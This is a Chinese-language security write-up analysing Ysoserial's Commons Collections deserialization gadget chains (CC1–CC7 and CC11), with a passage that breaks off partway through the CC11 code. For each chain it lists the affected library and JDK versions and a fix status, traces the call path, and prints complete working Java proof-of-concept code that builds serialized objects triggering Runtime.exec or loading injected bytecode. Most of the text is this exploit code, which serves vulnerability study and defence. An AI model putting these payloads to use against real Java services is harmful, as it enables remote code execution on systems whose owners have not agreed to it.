Ysoserial 利用链分析

主要对Ysoserial里常用链的利用原理进行分析,编写POC以及测试各个利用链适用的JDK版本,并给出修复方案。由于分析的链比较多,就不把每步分析都贴图了,主要用自己的语言来解释利用链。

Commons-Collections 3.1-3.2.1的环境,一般利用cc6或cc7链(这两条链只能执行命令,不能加载字节码,cc11可以加载字节码),没有JDK版本限制。Commons-Collections 4.0的环境用cc2或cc4都可以,没有JDK版本限制。

#Commons Collections1

Commons Collections 3.1命令执行

  • 适用版本

    1. Commons-Collections 3.1-3.2.1
    2. JDK1.8以前或小于JDK1.8 u71。
  • 修复方案

    在JDK1.8 8u71版本以后,对AnnotationInvocationHandler的readObject()函数修改了var1.defaultReadObject();的调用,让setValue和LazyMap这两条链都无法触发。

  • 利用链

    1. setValue利用链

      执行点: InvokerTransformer类的transform()函数利用反射的方式调用传入的任意对象的任意方法并返回结果。ChainedTransformer类中的transform()函数实现了对对象transform()的链式调用。由此构造出可序列化的命令执行链。

      触发点: 通过TransformedMap类的setValue()函数可以触发ChainedTransformer类的transform()方法(ChainedTransformer是Transformer的子类)。而对TransformedMap的setValue操作便发生在AnnotationInvocationHandler类的readObject()函数中。

       1
       2
       3
       4
       5
       6
       7
       8
       9
      10
      11
      12
      13
      14
      15
      
      ObjectInputStream.readObject()
       AnnotationInvocationHandler.readObject()
        TransformedMap.entrySet().iterator().next().setValue()
         TransformedMap.checkSetValue()
          ChainedTransformer.transform()
           ConstantTransformer.transform()
           InvokerTransformer.transform()
            Method.invoke()
             Class.getMethod()
           InvokerTransformer.transform()
            Method.invoke()
             Runtime.getRuntime()
           InvokerTransformer.transform()
            Method.invoke()
             Runtime.exec()
      
    2. LazyMap利用链

      执行点: 还是通过ChainedTransformer构造的链与上面相同。

      触发点: 在LazyMap的get()函数中调用了对象的transform()方法。而在AnnotationInvocationHandler类的invoke()方法中进行了LazyMap的get操作。该类实现了InvocationHandler接口,可做为LazyMap的动态代理类。这样对象调用任意方法都会先执行AnnotationInvocationHandler类invoke()方法。

       1
       2
       3
       4
       5
       6
       7
       8
       9
      10
      11
      12
      13
      14
      15
      16
      
      ObjectInputStream.readObject()
         AnnotationInvocationHandler.readObject()
          Map(Proxy).entrySet()
           AnnotationInvocationHandler.invoke()
            LazyMap.get()
             ChainedTransformer.transform()
              ConstantTransformer.transform()
              InvokerTransformer.transform()
               Method.invoke()
                Class.getMethod()
              InvokerTransformer.transform()
               Method.invoke()
                Runtime.getRuntime()
              InvokerTransformer.transform()
               Method.invoke()
                Runtime.exec()
      
  • POC (LazyMap)

     1
     2
     3
     4
     5
     6
     7
     8
     9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45
    46
    47
    48
    49
    50
    51
    52
    53
    54
    55
    56
    
    package cc1;
    
    import org.apache.commons.collections.Transformer;
    import org.apache.commons.collections.functors.ChainedTransformer;
    import org.apache.commons.collections.functors.ConstantTransformer;
    import org.apache.commons.collections.functors.InvokerTransformer;
    import org.apache.commons.collections.map.LazyMap;
    
    import java.io.*;
    import java.lang.reflect.Constructor;
    import java.lang.reflect.InvocationHandler;
    import java.lang.reflect.Proxy;
    import java.util.HashMap;
    import java.util.Map;
    
    public class run {
        public static void main(String[] args) {
            String cmd = "calc.exe";
            Transformer[] transformers = new Transformer[]{
                    new ConstantTransformer(Runtime.class),
                    new InvokerTransformer("getMethod", new Class[]{
                            String.class, Class[].class}, new Object[]{
                            "getRuntime", new Class[0]}
                    ),
                    new InvokerTransformer("invoke", new Class[]{
                            Object.class, Object[].class}, new Object[]{
                            null, new Object[0]}
                    ),
                    new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{cmd})
            };
    
            // 创建ChainedTransformer调用链对象
            Transformer transformedChain = new ChainedTransformer(transformers);
            HashMap innermap = new HashMap();
            LazyMap map = (LazyMap) LazyMap.decorate(innermap,transformedChain);
            try {
                Constructor handler_constructor = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler").getDeclaredConstructor(Class.class, Map.class);
                handler_constructor.setAccessible(true);
                InvocationHandler map_handler = (InvocationHandler) handler_constructor.newInstance(Override.class, map);
                Map proxy_map = (Map) Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(), new Class[]{Map.class}, map_handler);
                InvocationHandler handler = (InvocationHandler) handler_constructor.newInstance(Override.class, proxy_map);
    
                ByteArrayOutputStream baos = new ByteArrayOutputStream();
                ObjectOutputStream out = new ObjectOutputStream(baos);
                out.writeObject(handler);
                out.flush();
                byte[] bytes = baos.toByteArray();
                ByteArrayInputStream bais = new ByteArrayInputStream(bytes);
                ObjectInputStream in = new ObjectInputStream(bais);
                in.readObject();
            }catch(Exception e){
                e.printStackTrace();
            }
    
        }
    }
    
  • 分析文章

    1. https://www.wangan.com/docs/100 (setValue链)
    2. http://wjlshare.com/archives/1502 (LazyMap链)

#Commons Collections2

Commons Collections 4.0加载字节码

  • 适用版本

    1. Commons-Collections 4.0
    2. 测试jdk1.8 8u301、jdk11和jdk15可以正常利用,jdk16利用失败。
  • 修复方案

    暂无

  • 利用链

    TemplatesImpl类中的defineTransletClasses()方法会调用defineClass()来加载_bytecodes字段中的字节码。而defineTransletClasses方法在TemplatesImpl类的newTransformer()方法中调用。所以构造好参数,调用TemplatesImpl的newTransformer()方法便可加载自定义字节码。

    TransformingComparator的compare()方法中触发了transform方法。这里可以利用InvokerTransformer反射调用任意类的任意方法。通过它来反射创建TemplatesImpl对象的newTransformer()方法加载字节码。(这里也可以接上cc1中利用链的ChainedTransformer执行命令)

    触发点: 发现在PriorityQueue的readObject()方法中,调用了对象的compare()方法。

     1
     2
     3
     4
     5
     6
     7
     8
     9
    10
    11
    12
    13
    14
    
    ObjectInputStream.readObject()
     PriorityQueue.readObject()
     PriorityQueue.heapify()
      PriorityQueue.siftDown()
       PriorityQueue.siftDownUsingComparator()
        TransformingComparator.compare()
         InvokerTransformer.transform()
          Method.invoke()
           TemplatesImpl.newTransformer()
            TemplatesImpl.getTransletInstance()
            TemplatesImpl.defineTransletClasses()
             TransletClassLoader.defineClass()
            newInstance()
             Runtime.getRuntime().exec()
    

    前面半段触发点其实cc3.1也可以利用,但因为3.1中TransformingComparator没有继承Serializable接口所以无法序列化,导致后半段不能利用。

  • POC

     1
     2
     3
     4
     5
     6
     7
     8
     9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45
    46
    47
    48
    49
    50
    51
    52
    53
    54
    55
    56
    57
    58
    59
    60
    61
    62
    63
    64
    65
    66
    67
    68
    69
    70
    71
    72
    73
    74
    75
    76
    77
    78
    79
    80
    81
    82
    83
    84
    85
    86
    
    package cc2;
    import javassist.ClassPool;
    import javassist.CtClass;
    import org.apache.commons.collections4.Transformer;
    import org.apache.commons.collections4.comparators.TransformingComparator;
    import org.apache.commons.collections4.functors.ChainedTransformer;
    import org.apache.commons.collections4.functors.ConstantTransformer;
    import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
    import org.apache.commons.collections4.functors.InvokerTransformer;
    
    import java.io.*;
    import java.lang.reflect.Field;
    import java.util.PriorityQueue;
    public class run {
        public static void main(String[] args) {
            try {
                String AbstractTranslet = "com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet";
                String TemplatesImpl = "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl";
                ClassPool classPool = ClassPool.getDefault();
                classPool.appendClassPath(AbstractTranslet);
                CtClass payload = classPool.makeClass("CommonsCollections22");
                payload.setSuperclass(classPool.get(AbstractTranslet));
                payload.makeClassInitializer().setBody("java.lang.Runtime.getRuntime().exec(\"calc\");"); //创建一个空的类初始化,设置该类的静态代码块
    
                //转换为byte数组
                byte[] bytes = payload.toBytecode();
                Object templatesImpl = Class.forName(TemplatesImpl).getDeclaredConstructor(new Class[]{}).newInstance();//反射创建TemplatesImpl
                Field field = templatesImpl.getClass().getDeclaredField("_bytecodes");//反射获取templatesImpl的_bytecodes字段
                field.setAccessible(true);
                field.set(templatesImpl, new byte[][]{bytes});//将templatesImpl上的_bytecodes字段设置为runtime的byte数组
    
                Field field1 = templatesImpl.getClass().getDeclaredField("_name");//反射获取templatesImpl的_name字段
                field1.setAccessible(true);
                field1.set(templatesImpl, "test");//将templatesImpl上的_name字段设置为test
    
                InvokerTransformer transformer = new InvokerTransformer("newTransformer", new Class[]{}, new Object[]{});
    
                //利用ChainedTransformer执行命令 没有版本限制
             /*   String cmd = "calc.exe";
                Transformer[] transformers = new Transformer[]{
                        (Transformer) new ConstantTransformer(Runtime.class),
                        (Transformer) new org.apache.commons.collections4.functors.InvokerTransformer("getMethod", new Class[]{
                                String.class, Class[].class}, new Object[]{
                                "getRuntime", new Class[0]}
                        ),
                        (Transformer) new org.apache.commons.collections4.functors.InvokerTransformer("invoke", new Class[]{
                                Object.class, Object[].class}, new Object[]{
                                null, new Object[0]}
                        ),
                        (Transformer) new org.apache.commons.collections4.functors.InvokerTransformer("exec", new Class[]{String.class}, new Object[]{cmd})
                };
    
                //通过反射覆盖原本的iTransformers,防止序列化时在本地执行命令
                Transformer transformedChain = new ChainedTransformer(new Transformer[]{});
                Field iTransformers = ChainedTransformer.class.getDeclaredField("iTransformers");
                iTransformers.setAccessible(true);
                iTransformers.set(transformedChain,transformers);
                */
    
                TransformingComparator comparator = new TransformingComparator(transformer); //使用TransformingComparator修饰器传入transformer对象
                PriorityQueue queue = new PriorityQueue(2);//使用指定的初始容量创建一个 PriorityQueue,并根据其自然顺序对元素进行排序。
                queue.add(2);
                queue.add(1);
    
                Field field2 = queue.getClass().getDeclaredField("comparator");//获取PriorityQueue的comparator字段
                field2.setAccessible(true);
                field2.set(queue, comparator);//设置queue的comparator字段值为comparator
    
                Field field3 = queue.getClass().getDeclaredField("queue");//获取queue的queue字段
                field3.setAccessible(true);//暴力反射
                field3.set(queue, new Object[]{templatesImpl, templatesImpl});//设置queue的queue字段内容Object数组,内容为templatesImpl
    
                ByteArrayOutputStream baos = new ByteArrayOutputStream();
                ObjectOutputStream out = new ObjectOutputStream(baos);
                out.writeObject(queue);
                out.flush();
                byte[] bytes2 = baos.toByteArray();
                ByteArrayInputStream bais = new ByteArrayInputStream(bytes2);
                ObjectInputStream in = new ObjectInputStream(bais);
                in.readObject();
    
            }catch (Exception e){
                e.printStackTrace();
            }
        }
    }
    
  • 分析文章

    1. http://wjlshare.com/archives/1509
    2. https://www.cnblogs.com/nice0e3/p/13860621.html

#Commons Collections3

Commons Collections 3.1加载字节码

  • 适用版本

    1. Commons-Collections 3.1-3.2.1
    2. 由于还是利用到AnnotationInvocationHandler类,所以利用JDK版本同cc1。
  • 修复方案

    同cc1

  • 利用链

    执行点: 在cc2中通过InvokerTransformer的transform方法反射调用TemplatesImpl的newTransformer()来加载自定义字节码。而在cc3中利用的是TrAXFilter类的构造方法,该构造方法中调用了对象的newTransformer()方法。再通过InstantiateTransformer类的transform()来调用TrAXFilter类的构造方法。但由于TrAXFilter类是不可序列化的,所以需要用到ChainedTransformer进行链式调用。

    触发点: 还是通过AnnotationInvocationHandler创建Lazymap的动态代理类,在invoke函数中调用Lazymap的get方法来触发ChainedTransformer的tansform方法。

  • POC

     1
     2
     3
     4
     5
     6
     7
     8
     9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45
    46
    47
    48
    49
    50
    51
    52
    53
    54
    55
    56
    57
    58
    59
    60
    61
    62
    63
    64
    65
    66
    67
    68
    69
    70
    71
    72
    73
    74
    
    package cc3;
    
    import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
    import javassist.ClassPool;
    import javassist.CtClass;
    import org.apache.commons.collections.Transformer;
    import org.apache.commons.collections.functors.ChainedTransformer;
    import org.apache.commons.collections.functors.ConstantTransformer;
    import org.apache.commons.collections.functors.InstantiateTransformer;
    import org.apache.commons.collections.map.LazyMap;
    
    import javax.xml.transform.Templates;
    import java.io.*;
    import java.lang.reflect.Constructor;
    import java.lang.reflect.Field;
    import java.lang.reflect.InvocationHandler;
    import java.lang.reflect.Proxy;
    import java.util.HashMap;
    import java.util.Map;
    
    public class run {
        public static void main(String[] args) {
            try{
                String AbstractTranslet="com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet";
                String TemplatesImpl="com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl";
    
                ClassPool classPool=ClassPool.getDefault();
                classPool.appendClassPath(AbstractTranslet);
                CtClass payload=classPool.makeClass("CommonsCollections333333333");
                payload.setSuperclass(classPool.get(AbstractTranslet));
                payload.makeClassInitializer().setBody("java.lang.Runtime.getRuntime().exec(\"calc\");");
    
                byte[] bytes=payload.toBytecode();
    
                Object templatesImpl=Class.forName(TemplatesImpl).getDeclaredConstructor(new Class[]{}).newInstance();
                Field field=templatesImpl.getClass().getDeclaredField("_bytecodes");
                field.setAccessible(true);
                field.set(templatesImpl,new byte[][]{bytes});
    
                Field field1=templatesImpl.getClass().getDeclaredField("_name");
                field1.setAccessible(true);
                field1.set(templatesImpl,"test");
    
                Transformer[] transformers=new Transformer[]{
                        new ConstantTransformer(TrAXFilter.class),
                        new InstantiateTransformer(new Class[]{Templates.class},new Object[]{templatesImpl})
                };
    
                ChainedTransformer chainedTransformer=new ChainedTransformer(transformers);
                Map map=new HashMap();
                Map lazyMap= LazyMap.decorate(map,chainedTransformer);
    
                Class cls=Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
                Constructor constructor=cls.getDeclaredConstructor(Class.class,Map.class);
                constructor.setAccessible(true);
    
                InvocationHandler invocationHandler=(InvocationHandler)constructor.newInstance(Override.class,lazyMap);
                Map map1=(Map) Proxy.newProxyInstance(LazyMap.class.getClassLoader(),LazyMap.class.getInterfaces(),invocationHandler);
                Object object=constructor.newInstance(Override.class,map1);
    
                ByteArrayOutputStream baos = new ByteArrayOutputStream();
                ObjectOutputStream out = new ObjectOutputStream(baos);
                out.writeObject(object);
                out.flush();
                byte[] bytes2 = baos.toByteArray();
                ByteArrayInputStream bais = new ByteArrayInputStream(bytes2);
                ObjectInputStream in = new ObjectInputStream(bais);
                in.readObject();
            }catch (Exception e)
            {
                e.printStackTrace();
            }
        }
    }
    
  • 分析文章

    https://www.cnblogs.com/nice0e3/p/13854098.html

#Commons Collections4

Commons Collections 4.0加载字节码

  • 适用版本

    同cc2

  • 修复方案

    暂无

  • 利用链

    执行点: cc4还是通过TrAXFilter类的构造方法来触发TemplatesImpl类的newTransformer()方法加载字节码。

    触发点: 用的是cc2中PriorityQueue的readObject(),反序列化时调用了TransformingComparator的compare()方法来触发transform函数。

  • POC

     1
     2
     3
     4
     5
     6
     7
     8
     9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45
    46
    47
    48
    49
    50
    51
    52
    53
    54
    55
    56
    57
    58
    59
    60
    61
    62
    63
    64
    65
    66
    67
    68
    69
    
    package cc4;
    
    import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
    import javassist.ClassPool;
    import javassist.CtClass;
    import org.apache.commons.collections4.Transformer;
    import org.apache.commons.collections4.comparators.TransformingComparator;
    import org.apache.commons.collections4.functors.ChainedTransformer;
    import org.apache.commons.collections4.functors.ConstantTransformer;
    import org.apache.commons.collections4.functors.InstantiateTransformer;
    
    import javax.xml.transform.Templates;
    import java.io.*;
    import java.lang.reflect.Field;
    import java.util.PriorityQueue;
    
    public class run {
        public static void main(String[] args) {
            try{
                String AbstractTranslet="com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet";
                String TemplatesImpl="com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl";
                ClassPool classPool=ClassPool.getDefault();
                classPool.appendClassPath(AbstractTranslet);
                CtClass payload=classPool.makeClass("CommonsCollections44");
                payload.setSuperclass(classPool.get(AbstractTranslet));
                payload.makeClassInitializer().setBody("java.lang.Runtime.getRuntime().exec(\"calc\");");
                //生成字节码
                byte[] bytes = payload.toBytecode();
                //创建TemplatesImpl类实例,并初始化参数
                Object templates = Class.forName(TemplatesImpl).getDeclaredConstructor(new Class[]{}).newInstance();
    
                Field field=templates.getClass().getDeclaredField("_bytecodes");
                field.setAccessible(true);
                field.set(templates,new byte[][]{bytes});
    
                Field name=templates.getClass().getDeclaredField("_name");
                name.setAccessible(true);
                name.set(templates,"test");
                //还是通过TrAXFilter类的构造函数 去触发templates的newTransformer
                Transformer[] trans = new Transformer[]{
                        new ConstantTransformer(TrAXFilter.class),
                        new InstantiateTransformer(
                                new Class[]{Templates.class},
                                new Object[]{templates})
                };
    
                ChainedTransformer chian = new ChainedTransformer(trans);
                TransformingComparator transCom = new TransformingComparator(chian);
                PriorityQueue queue = new PriorityQueue(2);
                queue.add(1);
                queue.add(1);
                Field com = PriorityQueue.class.getDeclaredField("comparator");
                com.setAccessible(true);
                com.set(queue,transCom);
    
                ByteArrayOutputStream baos = new ByteArrayOutputStream();
                ObjectOutputStream out = new ObjectOutputStream(baos);
                out.writeObject(queue);
                out.flush();
                byte[] bytes2 = baos.toByteArray();
                ByteArrayInputStream bais = new ByteArrayInputStream(bytes2);
                ObjectInputStream in = new ObjectInputStream(bais);
                in.readObject();
    
            }catch (Exception e){
                e.printStackTrace();
            }
        }
    }
    
  • 分析文章

    https://www.cnblogs.com/nice0e3/p/14032604.html

#Commons Collections5

Commons Collections 3.1命令执行

  • 适用版本

    1. Commons-Collections 3.1-3.2.1
    2. 需要SecurityManager关闭(默认关闭),该条件下测试jdk1.8 8u301和jdk 11可利用,jdk15失败。
  • 修复方案

    开启SecurityManager

  • 利用链

    执行点: 通过ChainedTransformer构造命令执行链,再利用LazyMap的get()方法来触发transform()。再通过TiedMapEntry类的getValue()可调用LazyMap的get()方法。

    触发点: 在BadAttributeValueExpException类的readObject()中,调用了对象的toString()方法,而TiedMapEntry类的toString()方法调用了该类的getValue()方法。

    1
    2
    3
    4
    5
    6
    7
    
    BadAttributeValueExpException.readObject->TiedMapEntry.toString
    ->LazyMap.get->ChainedTransformer.transform
    ->ConstantTransformer.transform->InvokerTransformer.transform
    ->Method.invoke->Class.getMethod
    ->InvokerTransformer.transform->Method.invoke
    ->Runtime.getRuntime-> InvokerTransformer.transform
    ->Method.invoke->Runtime.exec
    
  • POC

     1
     2
     3
     4
     5
     6
     7
     8
     9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45
    46
    47
    48
    
    package cc5;
    
    import org.apache.commons.collections.Transformer;
    import org.apache.commons.collections.functors.ChainedTransformer;
    import org.apache.commons.collections.functors.ConstantTransformer;
    import org.apache.commons.collections.functors.InvokerTransformer;
    import org.apache.commons.collections.keyvalue.TiedMapEntry;
    import org.apache.commons.collections.map.LazyMap;
    
    import javax.management.BadAttributeValueExpException;
    import java.io.*;
    import java.lang.reflect.Field;
    import java.util.HashMap;
    
    public class run {
        public static void main(String[] args) {
            try{
                ChainedTransformer chain = new ChainedTransformer(new Transformer[] {
                        new ConstantTransformer(Runtime.class),
                        new InvokerTransformer("getMethod", new Class[] {
                                String.class, Class[].class }, new Object[] {
                                "getRuntime", new Class[0] }),
                        new InvokerTransformer("invoke", new Class[] {
                                Object.class, Object[].class }, new Object[] {
                                null, new Object[0] }),
                        new InvokerTransformer("exec",
                                new Class[] { String.class }, new Object[]{"calc"})});
                HashMap innermap = new HashMap();
                LazyMap map = (LazyMap) LazyMap.decorate(innermap,chain);
                TiedMapEntry tiedmap = new TiedMapEntry(map,123);
                BadAttributeValueExpException poc = new BadAttributeValueExpException(1);
                Field val = Class.forName("javax.management.BadAttributeValueExpException").getDeclaredField("val");
                val.setAccessible(true);
                val.set(poc,tiedmap);
    
                ByteArrayOutputStream baos = new ByteArrayOutputStream();
                ObjectOutputStream out = new ObjectOutputStream(baos);
                out.writeObject(poc);
                out.flush();
                byte[] bytes2 = baos.toByteArray();
                ByteArrayInputStream bais = new ByteArrayInputStream(bytes2);
                ObjectInputStream in = new ObjectInputStream(bais);
                in.readObject();
            }catch (Exception e){
                e.printStackTrace();
            }
        }
    }
    
  • 分析文章

    https://www.cnblogs.com/nice0e3/p/13890340.html

#Commons Collections6

Commons Collections 3.1命令执行

  • 适用版本

    1. Commons-Collections 3.1-3.2.1
    2. 测试jdk1.8 8u301、jdk11、jdk15、jdk16可以正常利用。
  • 修复方案

    暂无

  • 利用链

    执行点: 通过ChainedTransformer构造命令执行链,再利用LazyMap的get()方法来触发transform()。再通过TiedMapEntry类的getValue()可调用LazyMap的get()方法。

    触发点: 在Hashset的readObject方法中,会去调用map的put方法,这里的map为Hashmap的对象,然后会逐步调用到TiedMapEntry类的getValue()方法。

    Tips: 用idea调试的时候还没走到HashMap.put方法就弹计算器执行了。是因为idea调试的时候自动调用了map的hash()方法导致触发了执行点。这里需要在idea中关闭以下设置。

    1
    2
    3
    4
    5
    
    HashSet.readObject->HashMap.put
    ->HashMap.hash->TiedMapEntry.hashCode
    ->TiedMapEntry.getValue->LazyMap.get
    ->ChainedTransformer.transform->InvokerTransformer.transform
    ->Runtime.exec
    
  • POC

     1
     2
     3
     4
     5
     6
     7
     8
     9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45
    46
    47
    48
    49
    50
    51
    52
    53
    
    package cc6;
    
    import org.apache.commons.collections.Transformer;
    import org.apache.commons.collections.functors.ChainedTransformer;
    import org.apache.commons.collections.functors.ConstantTransformer;
    import org.apache.commons.collections.functors.InvokerTransformer;
    import org.apache.commons.collections.keyvalue.TiedMapEntry;
    import org.apache.commons.collections.map.LazyMap;
    
    import java.io.*;
    import java.lang.reflect.Field;
    import java.util.HashMap;
    import java.util.HashSet;
    import java.util.Map;
    
    public class run {
        public static void main(String[] args) {
            try{
                Transformer Testtransformer = new ChainedTransformer(new Transformer[]{});
    
                Transformer[] transformers=new Transformer[]{
                        new ConstantTransformer(Runtime.class),
                        new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",new Class[]{}}),
                        new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,new Object[]{}}),
                        new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
                };
    
                Map map=new HashMap();
                Map lazyMap= LazyMap.decorate(map,Testtransformer);
                TiedMapEntry tiedMapEntry=new TiedMapEntry(lazyMap,"test1");
    
                HashSet hashSet=new HashSet(1);
                hashSet.add(tiedMapEntry);
                lazyMap.remove("test1");
    
                //通过反射覆盖原本的iTransformers,防止序列化时在本地执行命令
                Field field = ChainedTransformer.class.getDeclaredField("iTransformers");
                field.setAccessible(true);
                field.set(Testtransformer, transformers);
    
                ByteArrayOutputStream baos = new ByteArrayOutputStream();
                ObjectOutputStream out = new ObjectOutputStream(baos);
                out.writeObject(hashSet);
                out.flush();
                byte[] bytes2 = baos.toByteArray();
                ByteArrayInputStream bais = new ByteArrayInputStream(bytes2);
                ObjectInputStream in = new ObjectInputStream(bais);
                in.readObject();
            }catch (Exception e){
    
            }
        }
    }
    
  • 分析文章

    https://www.cnblogs.com/nice0e3/p/13892510.html

#Commons Collections7

Commons Collections 3.1命令执行

  • 适用版本

    1. Commons-Collections 3.1-3.2.1
    2. 测试jdk1.8 8u301、jdk11、jdk15、jdk16可以正常利用。
  • 修复方案

    暂无

  • 利用链

    执行点: 利用ChainedTransformer构造命令执行。再利用LazyMap的get()方法来触发ChainedTransformer类的transform()。

    触发点: 通过Hashtable的readObject()中的reconstitutionPut()函数调用到equal方法,equals方法中会调用lazymap的get方法,从而触发ChainedTransformer的transform函数。

  • POC

     1
     2
     3
     4
     5
     6
     7
     8
     9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45
    46
    47
    48
    49
    50
    51
    52
    53
    54
    55
    56
    57
    58
    59
    60
    61
    62
    63
    64
    65
    66
    67
    68
    
    package cc7;
    
    import org.apache.commons.collections.Transformer;
    import org.apache.commons.collections.functors.ChainedTransformer;
    import org.apache.commons.collections.functors.ConstantTransformer;
    import org.apache.commons.collections.functors.InvokerTransformer;
    import org.apache.commons.collections.map.LazyMap;
    
    import java.io.*;
    import java.lang.reflect.Field;
    import java.util.HashMap;
    import java.util.Hashtable;
    import java.util.Map;
    
    public class run {
        public static void main(String[] args) {
            try{
                // Reusing transformer chain and LazyMap gadgets from previous payloads
                final String[] execArgs = new String[]{"calc"};
    
                final Transformer transformerChain = new ChainedTransformer(new Transformer[]{});
    
                final Transformer[] transformers = new Transformer[]{
                        new ConstantTransformer(Runtime.class),
                        new InvokerTransformer("getMethod",
                                new Class[]{String.class, Class[].class},
                                new Object[]{"getRuntime", new Class[0]}),
                        new InvokerTransformer("invoke",
                                new Class[]{Object.class, Object[].class},
                                new Object[]{null, new Object[0]}),
                        new InvokerTransformer("exec",
                                new Class[]{String.class},
                                execArgs),
                        new ConstantTransformer(1)};
    
                Map innerMap1 = new HashMap();
                Map innerMap2 = new HashMap();
    
                Map lazyMap1 = LazyMap.decorate(innerMap1, transformerChain);
                lazyMap1.put("yy", 1);
    
                Map lazyMap2 = LazyMap.decorate(innerMap2, transformerChain);
                lazyMap2.put("zZ", 1);
    
                Hashtable hashtable = new Hashtable();
                hashtable.put(lazyMap1, 1);
                hashtable.put(lazyMap2, 2);
    
                Field iTransformers = ChainedTransformer.class.getDeclaredField("iTransformers");
                iTransformers.setAccessible(true);
                iTransformers.set(transformerChain,transformers);
    
                lazyMap2.remove("yy");
    
                ByteArrayOutputStream baos = new ByteArrayOutputStream();
                ObjectOutputStream out = new ObjectOutputStream(baos);
                out.writeObject(hashtable);
                out.flush();
                byte[] bytes2 = baos.toByteArray();
                ByteArrayInputStream bais = new ByteArrayInputStream(bytes2);
                ObjectInputStream in = new ObjectInputStream(bais);
                in.readObject();
    
            }catch (Exception e){
                e.printStackTrace();
            }
        }
    }
    
  • 分析文章

    https://www.cnblogs.com/nice0e3/p/13910833.html

#Commons Collections11

Commons Collections 3.1加载字节码

  • 适用版本

    1. Commons-Collections 3.1-3.2.1
    2. 测试jdk1.8 8u301、jdk11和jdk15可以正常利用,jdk16利用失败。
  • 修复方案

    暂无

  • 利用链

    执行点: 利用LazyMap的get()方法来触发InvokerTransformer的transform()方法反射创建TemplatesImpl对象的newTransformer()加载字节码。再通过TiedMapEntry类的getValue()可调用LazyMap的get()方法。(和cc2类似)

    触发点: 在Hashset的readObject方法中,会去调用map的put方法,这里的map为Hashmap的对象,然后会逐步调用到TiedMapEntry类的getValue()方法。(和cc6相同)

  • POC

      1
      2
      3
      4
      5
      6
      7
      8
      9
     10
     11
     12
     13
     14
     15
     16
     17
     18
     19
     20
     21
     22
     23
     24
     25
     26
     27
     28
     29
     30
     31
     32
     33
     34
     35
     36
     37
     38
     39
     40
     41
     42
     43
     44
     45
     46
     47
     48
     49
     50
     51
     52
     53
     54
     55
     56
     57
     58
     59
     60
     61
     62
     63
     64
     65
     66
     67
     68
     69
     70
     71
     72
     73
     74
     75
     76
     77
     78
     79
     80
     81
     82
     83
     84
     85
     86
     87
     88
     89
     90
     91
     92
     93
     94
     95
     96
     97
     98
     99
    100
    101
    102
    103
    104
    105
    106
    107
    108
    109
    
    package cc11;
    
    import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
    import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
    import javassist.ClassClassPath;
    import javassist.ClassPool;
    import javassist.CtClass;
    import org.apache.commons.collections.functors.InvokerTransformer;
    import org.apache.commons.collections.keyvalue.TiedMapEntry;
    import org.apache.commons.collections.map.LazyMap;
    
    import java.io.FileInputStream;
    import java.io.FileOutputStream;
    import java.io.ObjectInputStream;
    import java.io.ObjectOutputStream;
    import java.lang.reflect.Field;
    import java.util.HashMap;
    import java.util.HashSet;
    
    @SuppressWarnings("all")
    public class run {
        public static void main(String[] args) throws Exception {
    
            try {
                // 利用javasist动态创建恶意字节码
                ClassPool pool = ClassPool.getDefault();
                pool.insertClassPath(new ClassClassPath(AbstractTranslet.class));
                CtClass cc = pool.makeClass("Cat");
                String cmd = "java.lang.Runtime.getRuntime().exec(\"open /System/Applications/Calculator.app\");";
                cc.makeClassInitializer().insertBefore(cmd);
                String randomClassName = "EvilCat" + System.nanoTime();
                cc.setName(randomClassName);
                cc.setSuperclass(pool.get(AbstractTranslet.class.getName())); //设置父类为AbstractTranslet,避免报错
    
                // 转成字节码,并且反射设置 bytecodes
                byte[] classBytes = cc.toBytecode();
                byte[][] targetByteCodes = new byte[][]{classBytes};
                TemplatesImpl templates = TemplatesImpl.class.newInstance();
    
                Field f0 = templates.getClass().getDeclaredField("_bytecodes");
                f0.setAccessible(true);
                f0.set(templates, targetByteCodes);
    
                f0 = templates.getClass().getDeclaredField("_name");
                f0.setAccessible(true);
                f0.set(templates, "name");
    
                f0 = templates.getClass().getDeclaredField("_class");
                f0.setAccessible(true);
                f0.set(templates, null);
